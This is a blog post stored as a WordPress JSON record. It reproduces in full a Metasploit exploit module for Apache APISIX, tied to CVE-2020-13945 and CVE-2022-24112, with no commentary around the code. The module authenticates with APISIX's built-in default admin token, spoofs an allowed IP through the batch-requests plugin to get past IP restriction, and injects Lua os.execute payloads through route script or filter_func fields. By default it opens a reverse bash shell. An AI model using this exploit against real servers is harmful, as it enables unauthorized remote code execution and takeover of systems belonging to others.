{"id":21384,"date":"2022-03-07T19:49:05","date_gmt":"2022-03-07T16:49:05","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/166228\/apache_apisix_api_default_token_rce.rb.txt"},"modified":"2022-03-08T09:08:03","modified_gmt":"2022-03-08T05:38:03","slug":"apache-apisix-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/apache-apisix-remote-code-execution\/","title":{"rendered":"Apache APISIX Remote Code Execution"},"content":{"rendered":"<p dir=\"ltr\">##<br \/>\n# This module requires Metasploit: https:\/\/metasploit.com\/download<br \/>\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>\n##<\/p>\n<p dir=\"ltr\">class MetasploitModule &lt; Msf::Exploit::Remote<br \/>\nRank = ExcellentRanking<\/p>\n<p dir=\"ltr\">include Msf::Exploit::Remote::HttpClient<br \/>\nprepend Msf::Exploit::Remote::AutoCheck<\/p>\n<p dir=\"ltr\">def initialize(info = {})<br \/>\nsuper(<br \/>\nupdate_info(<br \/>\ninfo,<br \/>\n&#8216;Name&#8217; =&gt; &#8216;APISIX Admin API default access token RCE&#8217;,<br \/>\n&#8216;Description&#8217; =&gt; %q{<br \/>\nApache APISIX has a default, built-in API token edd1c9f034335f136f87ad84b625c8f1 that can be used to access<br \/>\nall of the admin API, which leads to remote LUA code execution through the script parameter added in the 2.x<br \/>\nversion. This module also leverages another vulnerability to bypass the IP restriction plugin.<br \/>\n},<br \/>\n&#8216;Author&#8217; =&gt; [<br \/>\n&#8216;Heyder Andrade &lt;eu[at]heyderandrade.org&gt;&#8217;, # module development and debugging<br \/>\n&#8216;YuanSheng Wang &lt;membphis[at]gmail.com&gt;&#8217; # discovered<br \/>\n],<br \/>\n&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>\n&#8216;References&#8217; =&gt; [<br \/>\n[&#8216;CVE&#8217;, &#8216;2020-13945&#8217;],<br \/>\n[&#8216;CVE&#8217;, &#8216;2022-24112&#8217;],<br \/>\n[&#8216;URL&#8217;, &#8216;https:\/\/github.com\/apache\/apisix\/pull\/2244&#8217;],<br \/>\n[&#8216;URL&#8217;, &#8216;https:\/\/seclists.org\/oss-sec\/2020\/q4\/187&#8217;],<br \/>\n[&#8216;URL&#8217;, &#8216;https:\/\/www.openwall.com\/lists\/oss-security\/2022\/02\/11\/3&#8217;]\n],<br \/>\n&#8216;DisclosureDate&#8217; =&gt; &#8216;2020-12-07&#8217;,<br \/>\n&#8216;Arch&#8217; =&gt; ARCH_CMD,<br \/>\n&#8216;Platform&#8217; =&gt; %w[unix],<br \/>\n&#8216;Targets&#8217; =&gt; [<br \/>\n[<br \/>\n&#8216;Automatic&#8217;, { &#8216;DefaultOptions&#8217; =&gt; { &#8216;PAYLOAD&#8217; =&gt; &#8216;cmd\/unix\/reverse_bash&#8217; } }<br \/>\n]\n],<br \/>\n&#8216;Privileged&#8217; =&gt; false,<br \/>\n&#8216;DefaultTarget&#8217; =&gt; 0,<br \/>\n&#8216;Notes&#8217; =&gt; {<br \/>\n&#8216;Stability&#8217; =&gt; [CRASH_SAFE],<br \/>\n&#8216;Reliability&#8217; =&gt; [REPEATABLE_SESSION],<br \/>\n&#8216;SideEffects&#8217; =&gt; [IOC_IN_LOGS]\n}<br \/>\n)<br \/>\n)<br \/>\nregister_options([<br \/>\nOptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;Path to the APISIX DocumentRoot&#8217;, &#8216;\/apisix&#8217;]),<br \/>\nOptString.new(&#8216;API_KEY&#8217;, [true, &#8216;Admin API KEY (Default: edd1c9f034335f136f87ad84b625c8f1)&#8217;, &#8216;edd1c9f034335f136f87ad84b625c8f1&#8217;]),<br \/>\nOptString.new(&#8216;ALLOWED_IP&#8217;, [true, &#8216;IP in the allowed list&#8217;, &#8216;127.0.0.1&#8217;])<br \/>\n])<br \/>\nend<\/p>\n<p dir=\"ltr\">def check<br \/>\nprint_status(&#8220;Checking component version to #{datastore[&#8216;RHOST&#8217;]}:#{datastore[&#8216;RPORT&#8217;]}&#8221;)<br \/>\n# batch request is the preferred method because it bypass the ip-restriction plugin<br \/>\nres = nil<br \/>\nif batch_request_enabled?<\/p>\n<p dir=\"ltr\">pipeline = [<br \/>\n{<br \/>\nmethod: &#8216;GET&#8217;,<br \/>\npath: &#8220;#{target_uri.path}\/admin\/routes&#8221;<br \/>\n}<br \/>\n]\nres = batch_request(batch_body(pipeline))<br \/>\nvprint_good(&#8216;Can perform authenticated requests through batch requests&#8217;) if res &amp;&amp; res.code == 200<\/p>\n<p dir=\"ltr\">pipeline = [<br \/>\n{<br \/>\nmethod: &#8216;GET&#8217;,<br \/>\npath: &#8220;#{target_uri.path}\/admin\/routes\/index&#8221;<br \/>\n}<br \/>\n]\nres = batch_request(batch_body(pipeline))<\/p>\n<p dir=\"ltr\">else<br \/>\nvprint_error(&#8216;The batch-requests plugin is not enabled&#8217;)<\/p>\n<p dir=\"ltr\">vprint_good(&#8216;There is direct access to the routes using the provided token&#8217;) if direct_access?<\/p>\n<p dir=\"ltr\">res = apisix_request({<br \/>\n&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, Rex::Text.rand_text_alpha_lower(6)),<br \/>\n&#8216;method&#8217; =&gt; &#8216;GET&#8217;<br \/>\n})<\/p>\n<p dir=\"ltr\">end<br \/>\nunless res &amp;&amp; res.headers.key?(&#8216;Server&#8217;)<br \/>\nreturn Exploit::CheckCode::Unknown(&#8216;Unable to determine which web server is running&#8217;)<br \/>\nend<\/p>\n<p dir=\"ltr\">res.headers[&#8216;Server&#8217;].match(%r{(.*)\/([\\d|.]+)$})<\/p>\n<p dir=\"ltr\">server = Regexp.last_match(1) || nil<br \/>\nversion = Rex::Version.new(Regexp.last_match(2)) || nil<\/p>\n<p dir=\"ltr\">if server &amp;&amp; server.match(\/APISIX\/)<br \/>\nvprint_status(&#8220;Found an #{server} #{version} http server header&#8221;)<br \/>\nreturn Exploit::CheckCode::Appears if version &gt; Rex::Version.new(&#8216;2&#8217;)<br \/>\nend<br \/>\nreturn Exploit::CheckCode::Safe(&#8216;A vulnerable version if APISIX server is not running&#8217;)<br \/>\nend<\/p>\n<p dir=\"ltr\">def exploit<br \/>\n# batch request is the preferred method because it bypass the ip-restriction plugin<br \/>\nif batch_request_enabled?<br \/>\n@payload_uri = &#8220;\/#{Rex::Text.rand_text_alpha_lower(3)}\/#{Rex::Text.rand_text_alpha_lower(6)}&#8221;<br \/>\nfilter_func_exec<br \/>\n# trigger the payload<br \/>\napisix_request({<br \/>\n&#8216;uri&#8217; =&gt; normalize_uri(@payload_uri),<br \/>\n&#8216;method&#8217; =&gt; &#8216;GET&#8217;<br \/>\n})<br \/>\nelse<br \/>\nadd_route<br \/>\nend<br \/>\nhandler<br \/>\nend<\/p>\n<p dir=\"ltr\">def cleanup<br \/>\nreturn unless @payload_uri<\/p>\n<p dir=\"ltr\">data = {<br \/>\n&#8216;uri&#8217; =&gt; @payload_uri<br \/>\n}<br \/>\npipeline = [<br \/>\n{<br \/>\n&#8216;path&#8217; =&gt; normalize_uri(target_uri.path, &#8216;\/admin\/routes\/index&#8217;),<br \/>\n&#8216;method&#8217; =&gt; &#8216;DELETE&#8217;,<br \/>\n&#8216;body&#8217; =&gt; JSON.dump(data)<br \/>\n}<br \/>\n]\nvprint_status(&#8220;Deleting route #{@payload_uri}&#8221;)<br \/>\n# remove the route<br \/>\nres = batch_request(batch_body(pipeline))<br \/>\nvprint_error(&#8216;Unable to delete the route&#8217;) unless res.code == 200<br \/>\nend<\/p>\n<p dir=\"ltr\">def apisix_request(params = {})<br \/>\nparams.merge!({<br \/>\n&#8216;ctype&#8217; =&gt; &#8216;application\/json&#8217;,<br \/>\n&#8216;headers&#8217; =&gt; {<br \/>\n&#8216;X-API-KEY&#8217; =&gt; datastore[&#8216;API_KEY&#8217;],<br \/>\n&#8216;Accept&#8217; =&gt; &#8216;*\/*&#8217;,<br \/>\n&#8216;Accept-Encoding&#8217; =&gt; &#8216;gzip, deflate&#8217;<br \/>\n}<br \/>\n})<\/p>\n<p dir=\"ltr\">send_request_cgi(params)<br \/>\nend<\/p>\n<p dir=\"ltr\"># Using batch request to bypass ip-restriction policies (CVE-2022-24112)<br \/>\ndef batch_request(data = nil)<br \/>\nparams = {<br \/>\n&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;\/batch-requests&#8217;),<br \/>\n&#8216;method&#8217; =&gt; &#8216;POST&#8217;<br \/>\n}<br \/>\nparams.merge!({ &#8216;data&#8217; =&gt; data }) if data<\/p>\n<p dir=\"ltr\">apisix_request(params)<br \/>\nend<\/p>\n<p dir=\"ltr\">def batch_body(pipeline = [])<br \/>\nheaders = {<br \/>\n&#8216;X-Real-IP&#8217;: datastore[&#8216;ALLOWED_IP&#8217;].to_s,<br \/>\n&#8216;X-API-KEY&#8217; =&gt; datastore[&#8216;API_KEY&#8217;].to_s,<br \/>\n&#8216;Content-Type&#8217; =&gt; &#8216;application\/json&#8217;<br \/>\n}<\/p>\n<p dir=\"ltr\">{<br \/>\n&#8216;headers&#8217; =&gt; headers,<br \/>\n&#8216;timeout&#8217; =&gt; 1500,<br \/>\n&#8216;pipeline&#8217; =&gt; pipeline<br \/>\n}.to_json<br \/>\nend<\/p>\n<p dir=\"ltr\">def base_data<br \/>\n{<br \/>\n&#8216;uri&#8217; =&gt; Rex::Text.rand_text_alpha_lower(6),<br \/>\n&#8216;upstream&#8217; =&gt; {<br \/>\n&#8216;type&#8217; =&gt; &#8217;roundrobin&#8217;,<br \/>\n&#8216;nodes&#8217; =&gt; { Faker::Internet.domain_name.to_s =&gt; 1 }<br \/>\n}<br \/>\n}<br \/>\nend<\/p>\n<p dir=\"ltr\">def add_route<br \/>\n# This method use the script parameter to execute the payload<br \/>\nstub = &#8220;os.execute(&#8216;PAYLOAD&#8217;);&#8221;.gsub(&#8216;PAYLOAD&#8217;, payload.raw.to_s.gsub(&#8216;\\&#8221;) { &#8216;\\\\\\&#8221;&#8216; })<br \/>\n# binding.pry<br \/>\ndata = base_data.merge({<br \/>\n&#8216;script&#8217; =&gt; stub<br \/>\n})<br \/>\nuri = normalize_uri(target_uri.path, &#8216;\/admin\/routes&#8217;)<br \/>\nif batch_request_enabled?<br \/>\npipeline = [<br \/>\n{<br \/>\n&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>\n&#8216;path&#8217; =&gt; uri,<br \/>\n&#8216;body&#8217; =&gt; data<br \/>\n}<br \/>\n]\nbatch_request(batch_body(pipeline))<br \/>\nelse<br \/>\nparams = {<br \/>\n&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>\n&#8216;uri&#8217; =&gt; uri,<br \/>\n&#8216;data&#8217; =&gt; JSON.dump(data)<br \/>\n}<br \/>\napisix_request(params)<br \/>\nend<br \/>\nend<\/p>\n<p dir=\"ltr\">def filter_func_exec<br \/>\n# This method use the filter_func parameter to execute the payload<br \/>\nstub = &#8220;function(vars) os.execute(&#8216;PAYLOAD&#8217;); return true end&#8221;.gsub(&#8216;PAYLOAD&#8217;, payload.raw.to_s.gsub(&#8216;\\&#8221;) { &#8216;\\\\\\&#8221;&#8216; })<\/p>\n<p dir=\"ltr\">data = base_data.merge({<br \/>\n&#8216;uri&#8217; =&gt; @payload_uri,<br \/>\n&#8216;name&#8217; =&gt; Rex::Text.rand_text_alpha_lower(6),<br \/>\n&#8216;filter_func&#8217; =&gt; stub<br \/>\n})<br \/>\nif batch_request_enabled?<br \/>\npipeline = [<br \/>\n{<br \/>\n&#8216;path&#8217; =&gt; normalize_uri(target_uri.path, &#8216;\/admin\/routes\/index&#8217;),<br \/>\n&#8216;method&#8217; =&gt; &#8216;PUT&#8217;,<br \/>\n&#8216;body&#8217; =&gt; JSON.dump(data)<br \/>\n}<br \/>\n]\n# add the route<br \/>\nres = batch_request(batch_body(pipeline))<br \/>\nvprint_error(&#8216;Unable to create route&#8217;) unless res.code == 200<br \/>\nelse<br \/>\nparams = {<br \/>\n&#8216;method&#8217; =&gt; &#8216;PUT&#8217;,<br \/>\n&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;\/admin\/routes\/index&#8217;),<br \/>\n&#8216;data&#8217; =&gt; JSON.dump(data)<br \/>\n}<br \/>\napisix_request(params)<br \/>\nend<br \/>\nend<\/p>\n<p dir=\"ltr\">def direct_access?<br \/>\nres = apisix_request({<br \/>\n&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;\/admin\/routes&#8217;),<br \/>\n&#8216;method&#8217; =&gt; &#8216;GET&#8217;<br \/>\n})<\/p>\n<p dir=\"ltr\">return false if [401, 403].include?(res.code) || res.body.match?(\/&#8217;ip-restriction&#8217;\/)<\/p>\n<p dir=\"ltr\">true<br \/>\nend<\/p>\n<p dir=\"ltr\">def batch_request_enabled?<br \/>\nres = apisix_request({<br \/>\n&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;\/batch-requests&#8217;),<br \/>\n&#8216;method&#8217; =&gt; &#8216;POST&#8217;<br \/>\n})<\/p>\n<p dir=\"ltr\">return false if res.code == 404<\/p>\n<p dir=\"ltr\">true<br \/>\nend<\/p>\n<p dir=\"ltr\">end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>## # This module requires Metasploit: https:\/\/metasploit.com\/download # Current source: https:\/\/github.com\/rapid7\/metasploit-framework ## class MetasploitModule &lt; Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, &#8216;Name&#8217; =&gt; &#8216;APISIX Admin API default access token RCE&#8217;, &#8216;Description&#8217; =&gt; %q{ Apache APISIX has a default, built-in API token edd1c9f034335f136f87ad84b625c8f1 that can be used &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-21384","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/21384","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=21384"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/21384\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=21384"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=21384"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=21384"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}